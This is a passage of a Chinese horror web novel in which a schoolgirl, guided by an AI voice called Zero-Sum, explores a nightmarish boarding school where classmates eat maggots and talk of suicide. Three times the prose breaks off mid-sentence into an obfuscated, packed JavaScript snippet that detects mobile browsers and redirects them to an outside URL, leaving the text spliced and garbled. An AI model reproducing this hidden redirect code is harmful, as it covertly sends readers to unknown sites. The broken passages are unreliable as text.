也许是因为装了防盗栅栏,这高处的窗户就没有上锁。纪采弹出肉垫里的爪子,插进窗户缝隙把它打开。 纪采将身一扭,轻轻松松从栅栏缝隙里钻了进去。把身子拔出来的时候费了点力气,纪采深吸一口气,磨掉了好大一撮毛,这才顺利脱身。 这个房间应该很久都没有人来过了,细小的灰尘在光线里漂浮,空气里弥漫着潮湿的霉味,让人想起连绵不绝的阴雨和浸泡发烂的木头。 她跳到书柜顶上,然后把自己挂在柜子上,用脚爪踹掉了下一层的好几本书,把自己毛绒绒的身体挤了进去。 纪采用这个方法一路滑了下来,顺利落地。 水泥地板冷得像块冰,寒气沿着猫咪的脚垫刺入厚实的皮毛,纪采不由自主地哆嗦了一下。 纪采助跑几步,起跳、飞扑,精准地把自己挂上了门把手,让重力打开了门。 在小树林里像个石像一样杵着的纪采本人一下子就活了,迈开腿在林荫道上狂奔。 纪采反手关上门,把窗帘拉得严严实实。她蹲下身,翻开一本诗集的封面。 扉页上盖了一个小小的红色印章,留下了“新绿文学社”的字样,底下还用钢笔写了名字:“吴洁。” 搞笑呢,一个连文科类课程都不排的学校,居然会有一间文学社? 纪采顺手翻开了剩下的几本诗集。 扉页无一例外都盖着“新绿文学社”的小章,写了好几个不同的名字:“袁文盈”“杨羽飞”“孔琦君”。 “这儿有好多个名字,到底是谁啊?” 纪采麻爪了,“这个新绿文学社的书,都是别人捐的?不要告诉我是已经毕业的校友捐的啊!” 纪采不死心,翻开了旁边被一同打落的其他书籍。 扉页上依然盖着文学社的印章,只是名字模糊不清,像是被水打湿后墨水洇开了一大团。 有问题,大有问题。 纪采这次把两个书架上所有的书一股脑全推到了地板上。 另一个书架上摆的都是薄薄的册子,似乎是杂志,被纪采扫下去的时候像是轻盈的纸蝴蝶,哗啦啦地在空中飞舞。 银杏叶从展翅的书页中飞出,缓缓地打着旋儿飘落在地上。 “出货了出货了!” 纪采兴奋地捉住那本薄薄的书册。 杂志的名字就是《新绿》,小字标注“山河中学新绿文学社社刊”。翻开第一页,映入眼帘的是一首小诗。 “ 《我可以拥有一首诗吗》 他们说 生活有着诗和远方 可是我啊 脚步匆匆不得闲 行囊空空无金钱 愁绪满怀墨只半点 落笔无言” 落款是高三(3)班袁文盈。这本杂志的发行时间是—— “平康七年?”纪采懵了,“三十年前?” 好好好,真是毕了业的校友啊! 纪采再往后翻,纸张上印刷的铅字就变得模糊不清了,只能看见只言片语。 “袁文盈、吴洁、杨羽飞、孔琦君。” 纪采能看清的只有这几个名字,“写诗的好像只有这个袁文盈噢。剩下这几个名字是干什么用的?烟雾弹?还是重要配角?” 纪采捡起那片落下来的银杏叶。果不其然,上面有一行娟秀的字迹:“愁绪满怀墨只半点,落笔无言。” 〈落笔无言〉 【星级:***】 【消耗型道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432877|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具,剩余次数:5】 【“脚步匆匆不得闲,行囊空空无金钱。愁绪满怀墨只半点,落笔无言。” 袁文盈夹在某期《新绿》里的书签。使用后暂时/永久降低指定目标的精神值,并有几率使目标当前精神值归零。】 “精神值归零会怎么样?昏迷?脑死亡?”纪采问零和。 “对于人类来说,精神值降低会感到疲惫、晕眩,伴随行动力减弱;过低时会感到抑郁、痛苦、绝望,大概率会失去行动力,有相当一部分人会选择自杀。而精神值归零,会引起不可逆转的脑死亡,即使回到现实世界也会变成植物人。” 零和尽职尽责地当一个搜索引擎:“至于异常?它本身就是以精神为基石的记忆体,精神值归零当然是灰飞烟灭了。” 【异能道具〈漫游指南〉注释改变。】 【变更:袁文盈夹在自己诗集里的书签。使用后暂停随机长度的时间,除使用者以外的目标无法行动。】 【系列道具???(2/4):〈漫游指南〉〈落笔无言〉。】 “现在是十二点二十三,离午休查寝还有二十二分钟。” 零和报时,“保守估计,从教室到寝室需要十分钟,你得加快动作了。” “我明白,这个房间只能来一次也说不定。” 纪采把书柜里的书哗啦啦地翻了个遍,但是她没再看见有银杏叶夹在里头。 “啊,果然,一个地图只会放一个道具吗。” 纪采挠头,“可是我没看到找到袁文盈的诗集啊?我没找漏吧?” 纪采的目光转向四周。 除了书柜,这个房间里仅有的摆设就是正中央那套桌椅了。那张大长桌的桌面上还摆着摊开的小说、草稿纸和没盖笔帽的钢笔,仿佛这里的成员不久之后就会回来。 纪采伸出一根手指一摸,沾了厚厚的一层灰。 时间太紧,纪采不能细看,她粗粗翻阅了一遍,发现那些书页上面的字迹全都模糊不清,墨水混成了一团。 进门右手边的墙面挂着几个相框和奖状。奖状纸面上的字已经褪色得无法辨认了,不过照片被封在玻璃里,保存情况还算完好。 挂在正中央的是一张合照。照片背景正是这间社团活动室,能看见淡绿色的大书柜,那时窗外的阳光给整个画面都笼上了昏黄的金色。 照片上一共五个人,正中站着的大人应该是老师,四个穿着校服的年轻男女分列两侧。 四名学生之中唯一的女孩子看上去羞涩又腼腆,眼帘微微低垂,小扇子似的睫羽下眼波婉转如秋水。 “快跑!走廊上的监控拍到有人来了。”零和突然出声。 纪采一个激灵,赶紧抓起一本书挡住自己的脸,低着头夺门而出。 “哎!那边那个女生!干嘛的!” 【异能道具〈漫游指南〉已发动,效果倒计时:30秒。】 纪采头也不回地拔腿狂奔。 “我靠!我靠我靠我靠!” 纪采在脑内鬼哭狼嚎,“怎么才三十秒!” 我错了,我真的错了,我以后一定好好锻炼身体! 8. 眼睛 短短半天,就用掉了纪采两个星期的运动量。 漫游指南被她用得只剩下了最后一次。两次时间暂停换线索和新道具,不亏但肉疼。 跑回来的时候寝室门是虚掩的,她进来之后顺手就关上了。 躺在纪采下铺的女生抬起脖子,她的头发有点湿漉漉的,似乎是刚洗完头,嘴里还嚼着米饭:“你关门干什么?” 纪采顿时紧张起来,难道这也是什么规则? 零和适时地出声:“午休会有老师查寝,要求不能关门,人必须在床上躺着,不能有多余的动作。” 不是,他有病啊?晚上查寝都正常,中午也查?监狱查人也查得这么勤快吗? 张心雨捏着皱巴巴的塑料袋,把最后一口混着油汤的米饭塞进嘴里,含混不清地说:“你终于读书读傻了?快把门开开上床!” 纪采忙不迭照做,一溜烟地爬上床。 中午十二点四十五分。 下铺的咀嚼声停止了,走廊上传来慢悠悠的脚步声。 纪采瞪大眼睛盯着天花板,听着越来越近的脚步声,紧张得眼珠子滴溜溜转。 一声刺耳的尖叫划破了午间的寂静,转瞬即逝。纪采的心脏一下子跳到了嗓子眼,抬起上半身往窗外看。 “是投影,不要管。躺下,闭眼,乱动的话就跟刚才那人一个下场了。” 零和说,“记住,等会儿不论发生什么都不要动,绝对不要睁眼,也不要乱想,明白么?” 纪采大惊失色,使劲儿把自己的眼皮扣得死紧:“喂你这样说我越来越害怕了啊!怎么可能不乱想啊!到底会发生什么啊!” 脚步声迫近了,有人走到了纪采寝室的门口,老旧的门轴吱嘎吱嘎地转动,仿佛拉响了警报。 纪采不由自主地屏住了呼吸,恨不得拿胶水把自己的眼皮给粘上。 黑暗的寂静中,那人的脚步声在耳边犹如重锤击鼓,每一步都踩得纪采的心咚咚响。她听见那人在寝室里慢悠悠地转了一圈,然后停在她床边,不动了。 “我靠我靠我靠我靠!” 纪采本能地想逃跑,五指成爪抓紧了身下的床单,连脚趾头都抠起来了,“它是不是在看我?是不是在看我!它要干嘛啊!啊?啊啊啊啊!” “它只是在看着你而已,想要利用黑暗放大你的恐惧然后污染你,除此之外它做不了什么,异常也要遵守规则。” 零和说,“午休的规则是平躺在床上不动,只要遵守这条规则就不会出事。这么多年以来你应该很擅长循规蹈矩才对,不要怕,放轻松。” 纪采极缓慢地深呼吸,试图平复剧烈的心跳。 但她忽然感觉眼前的黑暗更深了一点,有什么东西挡住了透过眼皮的日光……就在床的上方。 “零和!零和!它在干嘛!它在干嘛?!它是不是爬我床了?!” “没有,它只是踮起脚看你而已,你不要激动。” 零和的声音平淡如水,“或许你想要做几道计算题转移一下注意力吗?” “都什么时候了还做题?!” “你想要我引入乘法吗?”零和自顾自地说。 零和没告诉纪采的是,站在她床边盯着她的东西是一只硕大的眼球,靠两根干枯细瘦的暗红色血管支楞在地上,看上去很像是插了两根牙签的大鱼丸。 它够不着上铺,于是它那两条细细的血管像是抽条的豆芽一样迅速生长拉长,几乎把它浑圆的身体顶到了天花板上。 大眼球上漆黑的瞳孔一瞬不瞬地盯了纪采半晌。虽然纪采眼皮子底下的眼球在疯狂转动,但她就是不睁眼。 短短的几分钟,纪采却觉得无比漫长,耳边的心跳声咚咚作响。 挡住的光线的东西移开了,门轴转动,锁芯咔嗒一声合上。 纪采长舒一口气,大冬天的自己出了一身冷汗。 “他走了吧?” 她小心翼翼地把眼皮掀开一条缝,鬼鬼祟祟地左右看看,确认那东西真的走了,才敢完全把眼睛睁开。 下铺又响起了咀嚼声。纪采脸色古怪地扒着床边的栏杆,偷偷把头探出去一点。 她早就想问了,干嘛要把饭装在塑料袋里带回床上吃? 张心雨面无表情地闭着眼,手里握着皱巴巴的透明塑料袋,嘴部机械地运动着,磨碎嘴里的食物然后吞咽下去。 纪采看得清清楚楚,残留在袋子上的白色米粒分明在蠕动……? 一条肥胖的蛆虫从张心雨的嘴里漏了出来,它被咬断了半截身子,拖着黄色的粘液奋力逃生,爬下了她的嘴角。 白色的米粒是饱满的蛆虫,漫溢的油汤是虫体四分五裂的尸液。她送入口中的是抱团攒动的千百条活虫,它们在牙齿的切割下挣扎求生,在柔软的牙龈和舌尖上集体死亡。口体溅射出汁液,然后被压榨成黏稠的尸泥。 纪采的头皮炸了起来,狂乱的电流在脑壳里噼里啪啦地爆鸣。她想要跳起来大声尖叫,把手边能扔的东西全都砸出去,把那些虫子统统碾死。 她为什么要看!为什么要看!为什么要看!为什么?! 恶心,反胃,头皮发麻,鸡皮疙瘩爬了满脸。看见虫子挂在别人身上,就好像自己脸上也爬满了虫子。 纪采死死地咬住自己的手背,不让自己叫出声来。她下了重口,犬牙狠狠地嵌进肉里,让无法忽视的痛感压过抓心挠肝的痒意和恐惧。 纪采在心里骂了一万句脏话,但是也没生吞活蛆那么脏。 “是我被精神污染了?还是她真的吃的是……蛆?” 纪采狠狠地闭眼,想要把刚才的画面从自己的脑海里删除。 “不是精神污染。里世界对现实的侵蚀加深了,所有东西都会慢慢展现它应有的样子。” 零和给纪采打预防针,“做好心理准备吧,在里世界待得越久,就会有越来越多的异常取代正常。但是,等你对这些异常彻底麻木,把它视为正常,并且觉得它‘理应如此’的时候……你就被这个世界彻底同化,再也逃不掉了。” 纪采双目无神地望着天花板,感到前所未有的疲惫:“这个垃圾世界,实在是太折磨人了。活是不想活了,去死又不敢。” 午休的几十分钟里纪采没敢合眼,湿冷的被子捂不热四肢,她的脚掌冻得像冰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432878|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 中午一点四十,几个室友的闹铃前仆后继地响了起来。她们在被子里窸窸窣窣地穿好衣服,睁着眼睛直挺挺地躺在床上。 中午一点四十五,起床铃响了。 寂静得像是坟墓的世界突然活了过来,木偶的发条开始转动,她们以极快的速度下床,奔跑着夺门而出,一时间走廊上全是踢踢踏踏的脚步声。 中午两点整,纪采从宿舍抵达教室。教室里已经坐满了人,讲台上的老师虎视眈眈。 一个中午的功夫,教室前方多了一个监控摄像头。它挂在挨着天花板的墙角里,纪采一抬头就能看见。 两点零五分,伴随着耳熟的铃声,低垂的摄像头抬起头,睁开了眼睛。 睁、开、了、眼、睛。 正方形的黑屏从中央洞开,露出了肉质感的白,正中央是一层层套叠的同心圆,形成了黑色漩涡般的瞳孔。 一个正方体眼球,边缘还爬满了无限逼真的血丝——或许本来就是真的。它咕噜咕噜地左右上下转动,并且来回缩放同心圆构成的瞳孔调整焦距,像是鱼类掀动层层叠叠的鳞片。 “我*!” 纪采真情实感地叫出了声。 这次不是脏话,只是用作语气词。 “同学们,学校为了提高大家的自觉性,在每个教室都加装了监控。” 老师的脸庞挂上了露出八颗牙齿的标准笑容,“你们上课有没有开小差,监控都能看见!被发现不专心的同学,所在班级扣综测分,并且在其全年级通报批评!老师希望你们每个人都能严于律己,对自己负责,也对班集体负责!” 掌声雷动。 纪采也跟着鼓掌,一边拍手一边隐晦地翻白眼。 你管得住我的人,还想管住我的魂?有本事你在我脑子里装监控啊!傻【哔——】! “啊,事情逐渐棘手了起来呢。”零和感叹道。 纪采立马警觉:“什么棘手?” “原本我是靠入侵这座校园里原有的电子系统来监视周围环境的,但是现在监控系统异常化了,我对它的控制力也会下降。之后你最好更谨慎一点,不要露馅,我不是随时都能控制摄像头。” 但纪采显然疑心病很重:“你都能偷游戏系统屁股了,监控异常化你还搞不定?” “被动防御和主动出击能一样吗?不能啊!”零和大呼冤枉。 下午连上两节课,然后做了五分钟的眼保健操。课表上第三节是体育课,老方施施然地走了进来,说这节课我们上数学。 老方对下课铃无动于衷,拖堂到下一个老师走进教室,两人无缝衔接。 从中午两点零五到下午六点十五,一共五节课,大约四个小时,纪采的屁股仿佛粘在了座位上。长时间待在空气不流通的室内,纪采觉得自己有点缺氧,脑袋昏昏沉沉的。 下课铃一响,纪采立马就精神了。你说奇不奇怪? 冬天,夜晚来得很早,六点多钟天已经黑了。天空阴沉沉的,看不见星星。 “到晚饭的点了。现在是六点十五,六点五十需要到教室上晚自习,你有半个小时左右的行动时间。” 9. 夜晚 一只橘猫奔跑在夜色中。 行政楼下聚了好几个老师,灯火通明。透过大开的门户,能看见社团活动室里散落一地的书籍。 纪采一缩脖子,绕到行政楼后面去了。她故技重施,从那棵大银杏树上跳进了楼里。 纪采直奔五楼,找到了档案室。房间大门紧锁,窗户上装了不锈钢的防盗网。缝隙太窄,橘猫挤不进去。窗户也上了锁。 她一筹莫展,只能作罢,转而向更高的楼层探索。 六楼是校领导办公室。明明有好几个门牌上都写着副校长办公室,却没看见校长的。 七楼——没有七楼。 向上的楼梯不存在。 纪采背后发凉。明明从外面看,行政楼就是有七层,为什么真的上来了之后却只有六层? 纪采下楼,又跳回了银杏树上。她一层一层地数,确实有七层楼。 “是不是有别的方法可以上七楼?电梯?可我没看见入口啊?” 社团活动室的灯光熄灭了。纪采见人都走了,在行政楼一层的一排房间又转了好几圈。 “六点四十五了,你差不多该回去了。”零和提醒她。 “这么快?” 纪采有点不甘心。一天之中大部分时间都在教室里坐牢,也就只有吃饭的时间能用来探索。晚上回去宿舍还不知道会怎么样呢? “算了,不能急于一时。校长的办公室被藏起来了,肯定有问题,说不定要找到什么前置线索才能开启这个地图。” 纪采脚下生风地跑回了教学楼。路上零星有几个吃完饭急匆匆跑回来的学生,但他们对这么大一只猫视而不见,半个眼神都没浪费。 橘猫消失在五楼的教室外。意料之中的眩晕感再度袭来,纪采从桌子上趴了好一会儿才把头抬起来。 六点五十,预备铃打响,广播里响起几声呲啦呲啦的电流声,然后开始播放新闻。 “……近日,天使温室提出‘春雨计划’,面向全社会征集更多女性成为孕母,为弱势群体提供更多就业机会……” “嚓——!” 纪采手里的笔在书页上划拉出了长长的一道,把纸面都划破了。 什么玩意儿?! 纪采不敢相信自己的耳朵,疑惑又震惊地抬头看向挂在教室前方的音响。 守在讲台上的老方立马喝止她。纪采赶紧像个鹌鹑似的把头埋了下去。 “……本次天使温室公司与圣心医院达成合作,取得了院方的技术支持。公司对院长吴洁先生促成本次合作表示衷心感谢……” 吴洁。 纪采面露菜色。她有一种很不好的预感,跟她每次要倒八辈子血霉之前一模一样……那几个名字,不会还能扯出来一串大型狗血连续剧吧?! 既然这个吴洁是什么圣心医院的院长,那估计跟山河中学没关系了。 “恭喜本市山河中学在今年的高考中再获佳绩……如今,山河中学因其优秀率、退学率和自杀率持平而远近闻名。该校在为社会选拔优秀人才、淘汰不合格产品方面作出了卓越贡献。袁校长表示……” 纪采握紧了拳头。 袁校长……会是袁文盈吗?三十年前她是山河中学文学社的成员,三十年后她回到母校当了校长。所以她才会保留那间社团活动室? “……吃得苦中苦,方为人上人。现在你经历的是知识的生长痛,最后它会变成你的奖章,成为你超越别人的资本。痛苦吗?痛苦就对了,现在的痛苦是为了将来的幸福……” 啊对对对,高中吃尽苦头考上好大学,毕业后成为为资本家创造价值的高级技工,继续吃苦继续内卷,然后告诉自己这比高中轻松多了还有钱拿,我多么多么幸福呀。 纪采默默地竖起了中指。 “……我校队伍观摩学习后,决定优化现有管理制度,进一步提高学生的学习效率……” 后面的新闻内容全都让纪采感到三观碎裂,不过没再出现熟悉的人名。 一节晚自习也是四十五分钟,中途下课没人动弹一下。 老师留的卷子全让零和代劳。纪采填完答案之后把练习册摊在桌面上装模作样,眼睛盯着投影出来的规则书,疯狂构想一切可能的突破口。 晚上九点五十分,纪采已经困得快睡着了。铃声一响,所有人都疯了一样往外跑。 纪采有点不太想回去,她觉得晚上的宿舍危机四伏。但是十点一十老师就要开始查寝,留在教室显然不是明智的选择。 是的没错,从教室跑回寝室怎么说也得七八分钟,但是学校要求十点一十所有人都要躺在床上。这就意味着留给六个人洗漱的时间只有十分钟左右。 纪采真想挖开校长的心脏看看是不是黑的。资本家都没这么压榨过工人阶级,想来只有奴隶主这个称呼与她相配。 十分钟,女孩子洗头要怎么办呢?哦差点忘了,女孩们也都留着和男孩一样的短发了,真是省时省力。 如果选择放弃奔跑,那留给自己的时间就会非常紧张。所以每一段路都只能奔跑,跑得越快越好。山河的学生躺着续命,坐着学习,跑着赶路。 现在,纪采也不得不跑起来了。灯光氤氲,树影幢幢,奔跑声隆隆作响。有人摔倒在路上,后面的人猝不及防地撞到他,趔趄一下,却没停下脚步,越过他继续往前。摔倒的人也立马爬起来,一刻不敢停地继续往前跑。 连抱怨都嫌浪费时间。 纪采回到寝室楼的时候,发现中庭多了一株巨大的银杏树。这棵没有广场和教学楼的那两棵长得高,树顶和三楼齐平。 她在广场的银杏树下拿到了〈漫游指南〉,在教学楼后的银杏树附近拿到了〈落笔无言〉。第三片叶子难道在宿舍里? 纪采回来的时候大家都挤在卫生间里,水声哗哗,已经没有她的位置了。 反正也没吃东西,所以不需要刷牙。而且这个世界是假的……等我醒来,也许现实才过去了两三个小时。 纪采心想。她放弃和室友们争抢地盘,爬上床躺平了。 晚上十点一十,铃声响起。纪采深吸一口气,闭上了眼睛。 午休时听到的脚步声又响了起来。白炽灯的灯光被挡住,投下大片的阴影。 纪采能感觉到那东西扒在她的床栏边上盯着她。她闻到了一股很奇特的味道,既不是臭味也不是香味,像是某种分泌物……到底是什么呢?是什么—— 是什么跟我有屁关系啊?好奇心害死猫,这一定是怪物的计谋!我是不会上当的! 纪采藏在被子底下的手狠狠地掐自己的胳膊,痛得她龇牙咧嘴。面部皱缩起来,眼部的轮匝肌也咬得死紧——现在就是有人来掰她的眼皮都休想掰开了! “啊,你发现了吧。你想知道是什么在看你吗?我可以给你描述一下。”零和说。 “别告诉我,我不想知道,谢谢你!” 十点二十,熄灯铃打响,白炽灯“啪”地一下熄灭了。 离去的脚步声十分急促,门板被摔得震天响,那东西显然是恼羞成怒了。 纪采憋着的一口气还没出完,就听到外面接二连三地响起重物坠地的钝响。 门外有人掐着不男不女的嗓音,细声细气地抱怨:“这帮小崽子!净给我找麻烦!要死怎么不死外边儿?!” 脚步声快速远去。 黑暗里响起窸窸窣窣的声音。纪采对床的室友陈意涵和余佳佳从床上爬了下来,蹑手蹑脚地钻进卫生间,打开水龙头接水。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432879|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你没有洗漱,不擦一下身上吗。” 冷得仿佛带着冰渣子的吐息喷在纪采耳边,纪采立即失声尖叫起来,“咚”地一声滚在墙上。 冯心雨比纪采还崩溃,露出一副天塌了的表情来,“咻”地一声蹲下身缩回自己的床里。 卫生间的水声也停止了,陈意涵和余佳佳手忙脚乱地冲出来爬上床,低声咒骂纪采:“你要死啊!” “谁违反规定?啊?是谁!出来!” 暴怒的吼声像是夏日暴雨前的闷雷,隆隆地滚过整条走廊。 下一秒这雷声就炸响在纪采耳边:“是你吗!” 纪采的心脏开始剧烈收缩。肾上腺素像不要钱一样被倾倒出来,发洪水似的冲刷全身。 “别动!不要违反规则!” 零和的大喊强行镇压了纪采的条件反射。纪采必须用尽全身力气才能控制住自己想要逃跑的身体。 “是你吗?是你吗?是不是你!” 那东西像个复读机一样喋喋不休,纪采的耳膜被震得生疼。 正如零和所说,“即使是怪物也要遵守里世界的规则”。纪采没有违反规则,那么怪物也不能对她动手。那东西见纪采不上钩,只能含恨离开。 门被关上之后,陈意涵和余佳佳又爬了起来。她们之前似乎是在卫生间里洗头,但是中途被打断没能擦干头发。在冷空气里晾了那么久,头发已经结成了松针似的冰棱。穿过玻璃的月光从窗帘的缝隙里探进来,在发梢上亮晶晶地闪烁。 她们小声地抱怨,声音像是隔了一层雾蒙蒙的毛玻璃。 纪采耳鸣了。 女孩们结伴钻进昏暗的卫生间里,轻手轻脚地清洗自己的身体。冯心雨又踩着自己的床铺边缘,把自己挂上了上铺的床栏:“纪采,你今天是不是没有洗漱,也没有吃饭?你怎么了?你不会想跳楼吧?” 纪采在微光里盯着冯心雨的脸。 在昏暗的月光里,所有人的脸都是一样的青白。血泪不再流淌,但痕迹仍然留在脸上,像没法洗掉的颜料。 纪采突然说不出话来。 上阳一中遭遇异常入侵,几千个人都陷在里世界的梦境里沉沦。自己好歹还有零和陪着,其他人怎么办呢? “你害怕吗?”纪采喃喃出声。 “害怕什么?”冯心雨茫然地瞪大了眼睛:“你是说跳楼吗?” “不要冲动啊!” 冯心雨立刻紧张起来,一把握住纪采的手:“不能跳楼!你不要听他们的去楼顶天台啊!” 冯心雨的手很冰,没有活人应该有的温度,纪采被她接触的皮肤上迅速地爬满了鸡皮疙瘩。 但是她的神情很鲜活,如果不是知道这儿是里世界,纪采都要以为在自己面前的就是冯心雨本人。 纪采不自在地把手抽了回来:“他们?他们约好了跳楼的吗?” 冯心雨警惕地看着纪采:“我会盯着你的!你不许去!” “呃,我没想跳楼……” “哦,那就好。”冯心雨松了一口气,“你要是在宿舍楼跳了,学校可能放几天假,那是挺好的啦,但是同寝室的就要被扣综测分了,还要写检讨呢。只要别在宿舍跳楼,你想怎么死都可以啊。” 怪物。 纪采像被迎面扇了一巴掌,之前那朦胧的即视感彻底被甩去了九霄云外。 “我不想死,谢谢。我要睡觉了,你下去行吗?” 话音刚落,室友们的视线齐刷刷地扫了过来。她们面无表情地看着纪采,眼神呆滞又僵硬,像是福尔马林溶液里的标本。 “你不想死?你为什么不想死?” 冯心雨的声音陡然尖锐起来,“大家都想死,你为什么不想死?为什么不想死?” 10. 镜中影 纪采的后背迅速地爬满了冷汗,每个毛孔都渗着针刺般的寒意。 “不!其实我也想死!” 纪采立马顺着冯心雨的话回答。 冯心雨盯着她,脸上浮起怨毒的恨意:“你说谎!你不想死!你不跟我们争洗漱的位置,你不跟我们抢食堂的饭吃!你一点都不紧张,总是悠哉悠哉的!你根本不在乎你的分数!” 废话!我是活人,你们都是里世界的怪物! 纪采急中生智:“不!不是这样的!其实我已经抑郁了!我是在绝食自杀!” 冯心雨脸上的肌肉一下子垮了下来,所有的神情都消失了。半晌,她挤出一个似哭非哭的笑容来,轻轻地拍了几下纪采僵硬的肩膀:“啊,这样啊。那祝贺你,你要解脱了。” 室友们投过来的视线移开了。 “但是——你应该去洗漱啊。” 冯心雨的脸上绽开一个毫不掩饰恶意的笑容,“大家都去洗脸刷牙,你为什么不去?” 来了来了来了来了!还是来了! 纪采干笑几声:“哈哈哈我觉得我这样就挺好!我……我抑郁!我心情不好!我不想动!” “去厕所。” 冯心雨没再用商量的语气,直接命令纪采,“去厕所……去厕所!” 她一边像复读机一样不停重复,一边扑上来抓住纪采的手,不管不顾地把纪采往床下拖。 纪采拼命挣扎,冯心雨长长的指甲狠狠地划过她的手背,像是铁耙犁地,皮肉翻卷,沟壑里的血肉纷纷被挖走。 “嗷——!” 火辣辣的疼痛让纪采飙出了生理性的泪水,她什么也不管了,扯着嗓子嚎叫:“救命啊!杀人啦!老师——老师——!有没有人管啊!” 冯心雨像是没听到似的,满脸陶醉地把十指攒到鼻子边上,闭上眼睛深深地吸气,像是要把整个肺部都填满血肉的香气。 接着,她咔嚓咔嚓地啃起了自己的指甲,为了把指缝里的那一点碎肉吃干净,她连自己的指尖都咬了下来。 室友们的视线直勾勾地钉在纪采身上,虹膜像是狼一样在黑暗里发出幽幽的绿光。 纪采的大脑已经爆炸了。 她一脚把冯心雨的头踹了下去。冯心雨被她踹得仰倒,后脑勺“碰”地砸到地板上。即使这样她也还在咬自己的指甲,根本没管连滚带爬下床的纪采。 “这又是什么规则!潜规则吗?规则书上没有啊!它要逼我进厕所送死吗!” 纪采崩溃大喊,跌跌撞撞地抓住卫生间的门框。 “触发了怪物的攻击,那么晚上进卫生间洗漱就是隐藏的规则。” 零和也跟着纪采嘶嘶地倒抽冷气:“你冷静一点,控制一下情绪!厕所里可能有东西,你不能用这种精神状态进去!” 纪采的眼泪就像开闸泄洪那样汹涌而出,之前是生理性破防,这会儿是心理性破防。 一瞬间她的脑子里闪过很多纷杂的念头,快得连她自己都抓不住,最后她想的只有三个字。 为什么? 但现在的情况不允许她想这个。 纪采用袖子擦掉眼泪,把后背抵在门框边的墙上。 月光穿过窗户,照亮了这狭窄的一隅。洗手台上摆着一排水杯,属于纪采的那个被挤到了最里面。 一面巨大的镜子挂在洗手台前,大到能映出四五个人并排站立的身影。月光把纪采也投射在镜子里,映出一个模糊不清的影子。 纪采本能地觉得镜子很危险,想要远离。视线一转,门外的冯心雨已经啃秃了自己的指尖,她像一只壁虎那样贴着地板爬行过来,停在卫生间的门框边上,神经质地抽动鼻子嗅闻着血气。 在里世界必须遵守规则——不然就会被怪物攻击。 纪采心底发寒,转身走到洗手台前抓出自己的水杯,眼珠子在门外的冯心雨和墙上的镜子之前来回转。 “零和!大佬!救命啊!” 纪采在内心疯狂尖叫,“帮我盯住她!等会儿绝对要出事!不出事我把头拧下来!” “你冷静一点!你的心率已经快飙到一百八了!”零和大吼。 “我很冷静!”纪采更大声地吼回去。 “肾上腺素飙升的后遗症就是腿软!等会你跑都跑不动!以后比这刺激的副本海了去了,你总要学会适应的!现在,深呼吸!把你的心率压下去!” 零和快把自己的音量键按烂了。 冷汗雨后春笋一样往毛孔外钻,纪采的后背已经全打湿了。被恐惧冲垮的理智重新占领高地,纪采把自己的胸廓打开到极致,深深地吸气之后再沉重地吐出去。 她虚虚地握起左拳,站得离洗手台老远,右手抓着水杯去够水龙头的开关,眼睛死死地盯着自己在镜子里的倒影。 镜子里的纪采也死死地盯着纪采。月光昏暗,镜中的人影和月光一样朦胧,只有一双眼睛,清凌凌地反着光。 “咔”。 开关打开,水龙头哗啦啦地出水,很快就装满了小小的水杯。 基于多年的阅读和观影积累,她已经预想了多种剧情。比如水龙头里会流出鲜血,镜子里的影子其实是鬼,当你低头洗脸你会发现你的背后突然站了一个人……什么的。 纪采的心脏在她的耳道里发出砰砰砰的巨大轰鸣。砍头的铡刀高悬上方,而她要自己给自己行刑。 流入杯中的液体清澈透明,不带一丝可疑的颜色。 纪采更紧张了,恨不得把对面的镜子盯个洞出来。但镜中人影的动作依然和纪采别无二致,每个细节都严丝合缝。 直到纪采拿冷水往脸上扑,算是洗完了脸,也依然无事发生。连门口的冯心雨都不甘地呜呜几声,悻悻地爬回自己的床上。 “啊……所以还真的是新手教程啊?就这么简单?就完了?” “是啊,快点兑现诺言,把头拧下来吧。” 零和居然还有心情插科打诨。 “我都快吓死了,你不会觉得自己很幽默吧!” 纪采怒从心头起,恶向胆边生。欺负不了怪物,还欺负不了自己的逆子吗? “我只是想让你放松一下?”零和委屈巴巴地说。
